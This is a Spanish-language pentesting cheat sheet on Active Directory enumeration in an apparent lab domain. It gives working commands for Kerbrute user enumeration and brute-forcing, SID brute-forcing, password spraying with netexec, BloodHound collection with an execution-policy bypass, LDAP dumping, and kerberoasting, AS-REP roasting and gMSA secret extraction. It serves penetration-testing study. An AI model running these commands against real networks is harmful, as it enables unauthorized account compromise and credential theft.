Enumeración de Active Directory
Si no tenemos un usuario con el que empezar las pruebas (que suele ser el caso), tendremos que encontrar una manera de establecer un punto de apoyo en el dominio, ya sea obteniendo credenciales en texto claro o un hash de contraseña NTLM para un usuario, un shell SYSTEM en un host unido al dominio, o un shell en el contexto de una cuenta de usuario de dominio. Obtener un usuario válido con credenciales es crítico en las primeras etapas de una prueba de penetración interna. Este acceso (incluso al nivel más bajo) abre muchas oportunidades para realizar enumeraciones e incluso ataques.
Kerbrute
Kerbrute puede ser una opción más sigilosa para la enumeración de cuentas de dominio. Se aprovecha del hecho de que los fallos de pre-autenticación Kerberos a menudo no activan registros o alertas. Utilizaremos Kerbrute junto con las listas de usuarios como pueden ser jsmith.txt o jsmith2.txt de Insidetrust. Este repositorio contiene muchas listas de usuarios diferentes que pueden ser extremadamente útiles cuando se intenta enumerar usuarios cuando se comienza desde una perspectiva no autenticada. Podemos apuntar Kerbrute al DC y alimentarlo con una lista de palabras. La herramienta es rápida, y se nos proporcionarán resultados que nos permitirán saber si las cuentas encontradas son válidas o no, lo cual es un gran punto de partida para lanzar ataques como el de Password Spraying.
Por medio de una lista de usuarios, como puede ser las mencionadas anteriormente podemos ver usuarios válidos a nivel de dominio gracias a los fallos de pre-autenticación Kerberos
kerbrute userenum -d HACKLAB.LOCAL --dc 192.168.56.10 jsmith.txt -o ad_users.txt
Puede haber veces que un usuario tenga de contraseña su mismo nombre de usuario:
kerbrute bruteuser --d HACKLAB.LOCAL -dc 192.168.56.10 jsmith.txt thomas.brown
Otras herramientas a tener en cuenta son RPCClient y Enum4Linux.
lookupsid
Esta herramienta intentará forzar los identificadores de seguridad de Windows (SID) de cualquier usuario del dominio de AD. Cada usuario tiene un SID único, compuesto por su identificador relativo (RID) concatenado con el SID del dominio. Los SID de usuario suelen ser emitidos por un controlador de dominio y se utilizan en mecanismos de autorización y acceso, como parte del token de acceso creado durante el inicio de sesión.
impacket-lookupsid 'cicada.htb/guest'@cicada.htb -no-pass | grep 'SidTypeUser' | sed 's/.*\\\(.*\) (SidTypeUser)/\1/' > users.txt
Password Spraying
Otro aspecto destacable es el ataque conocido como Password Spraying. Para contextualizar, imaginemos que disponemos de unas credenciales como thomas.brown:MySup3erPass123!
. Una táctica común en este escenario es conectarse al Protocolo de Llamada a Procedimientos Remotos (RPC) - para extraer una lista de todos los usuarios del dominio. Esta lista se guarda en un archivo, por ejemplo users.txt, y luego se proporciona como entrada a herramientas como el propio netexec, junto con la contraseña antes mencionada. Este proceso permite intentar el acceso a múltiples cuentas del dominio, aprovechando la débil seguridad de la contraseña utilizada.
nxc smb 192.168.56.10 -u users.txt -p 'password' --continue-on-success
Por otra parte, si contamos con una lista de contraseñas también podemos utilizarlas.
nxc smb 192.168.56.10 -u users.txt -p passwords.txt --continue-on-success --no-bruteforce
El argumento --no-bruteforce
se emplea para evitar la prueba de todas las contraseñas disponibles para cada usuario, en su lugar, se prueba el usuario de la línea 1 con la contraseña de la línea 1, el usuario de la línea 2 con la contraseña de la línea 2, y así sucesivamente.
BloodHound
Opción 1
La primera forma de enumerar con Bloodhound, es hacerlo desde la máquina atacante utilizando bloodhound.py
.
bloodhound-python -u 'user' -p 'password' -d HACKLAB.local -ns 192.168.56.10 --zip -c All
Opción 2
La segunda manera, consta de los siguientes pasos:
- Descargar SharpHound.ps1
wget https://raw.githubusercontent.com/puckiestyle/powershell/master/SharpHound.ps1
- Subirlo a la máquina víctima ya sea con un servidor de SMB o upload de evil-winrm.
- Importar el módulo:
powershell -ep bypass
Import-Module .\SharpHound.ps1
- Invocar a
BloodHound
Invoke-BloodHound -CollectionMethod All
Ahora queda descargar el zip y meterlo en BloodHound.
Opción 3
Otra alternativa es utilizar SharpHound.exe.
.\SharpHound.exe -c all
Por ultimo, descargamos el archivo zip
nuevamente y los subimos en BloodHound
.
ldapsearch
Para enumerar a través del protoclo LDAP, podemos usar la herramienta ldapsearch
:
ldapsearch -H ldap://192.168.56.10 -x -s base namingcontexts
-
-H ldap://192.168.56.10
: Especifica el URI del servidor LDAP al que se va a conectar. En este caso, ldap://192.168.56.10. -
-x
: Indica que se utilizará el método de autenticación simple. Esto es comúnmente utilizado para realizar pruebas, pero no es seguro para ambientes de producción. -
-s base
: Especifica el alcance de la búsqueda. En este caso, base significa que la búsqueda se realiza en el objeto base especificado. -
namingContexts
: Especifica el atributo que se desea buscar. En este caso, namingContexts es el atributo que contiene los contextos de nombres del servidor LDAP.
ldapsearch -x -H ldap://192.168.56.10 -D '' -w '' -b "DC=192.168.56.10,DC=local"
ldapsearch -x -h 192.168.56.10 -b "dc=hacklab,dc=local" "*" | awk '/dn: / {print $2}'
ldapsearch -H ldap://192.168.56.10 -D 'thomas.brown@HACKLAB.local' -w 'MySup3erPass123!' -x -b "DC=HACKLAB,DC=LOCAL"
ldapsearch -H ldap://192.168.56.10 -D 'thomas.brown@HACKLAB.local' -w 'MySup3erPass123!' -x -s base -b "DC=HACKLAB,DC=LOCAL" "(objectClass=*)" "*" +
ldapdomaindump
En caso de tener credenciales válidas podemos hacer uso de ldapdomaindump
:
ldapdomaindump -u 'HACKLAB.local\thomas.brown' -p 'Password123' 192.168.56.10
Esto generará unos archivos json
, grep
, html
que con un servidor web podemos ver en el navegador.
LDAP
netexec ldap <RHOST> -u '' -p '' -M -user-desc
netexec ldap <RHOST> -u '' -p '' -M get-desc-users
netexec ldap <RHOST> -u '' -p '' -M ldap-checker
netexec ldap <RHOST> -u '' -p '' -M veeam
netexec ldap <RHOST> -u '' -p '' -M maq
netexec ldap <RHOST> -u '' -p '' -M adcs
netexec ldap <RHOST> -u '' -p '' -M zerologon
netexec ldap <RHOST> -u '' -p '' -M petitpotam
netexec ldap <RHOST> -u '' -p '' -M nopac
netexec ldap <RHOST> -u '' -p '' --use-kcache -M whoami
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --kerberoasting hashes.kerberoasting
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --asreproast hashes.asreproast
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa -k
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa-convert-id <ID>
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa-decrypt-lsa <ACCOUNT>
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --find-delegation
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M get-network -o ALL=true
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --bloodhound -ns <RHOST> -c All
netexec ldap <RHOST> -u '<USERNAME>' --use-kcache --bloodhound --dns-tcp --dns-server <RHOST> -c All